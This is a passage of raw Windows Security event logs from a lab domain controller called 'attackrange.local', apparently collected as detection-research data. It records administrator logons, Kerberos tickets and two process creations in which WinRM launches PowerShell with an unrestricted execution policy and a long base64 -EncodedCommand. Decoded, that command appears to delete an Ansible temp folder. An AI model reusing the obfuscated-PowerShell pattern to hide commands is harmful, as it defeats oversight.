			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250698
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117645
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250697
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250696
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250695
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250694
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1350
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1388
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABJAEEATABnAEEAMgBBAEQAYwBBAE0AUQBBAHkAQQBEAFUAQQBOAEEAQQB0AEEARABJAEEATgBnAEEAdwBBAEQAWQBBAE0AdwBBADEAQQBEAFkAQQBOAEEAQQB5AEEARABFAEEATwBBAEEANQBBAEQARQBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250693
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11046E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1388
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1340
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAxAEEARABJAEEATABnAEEAMgBBAEQAYwBBAE0AUQBBAHkAQQBEAFUAQQBOAEEAQQB0AEEARABJAEEATgBnAEEAdwBBAEQAWQBBAE0AdwBBADEAQQBEAFkAQQBOAEEAQQB5AEEARABFAEEATwBBAEEANQBBAEQARQBBAE4AUQBBADEAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250692
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117455

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250691
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117455
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250690
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250689
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250688
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250687
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11740A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250686
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11740A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250685
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11740A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250684
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250683
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{0E3964DB-6CCA-F55D-084E-37FE639F5994}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250682
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x117420

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250681
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250680
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x117420
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64472

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

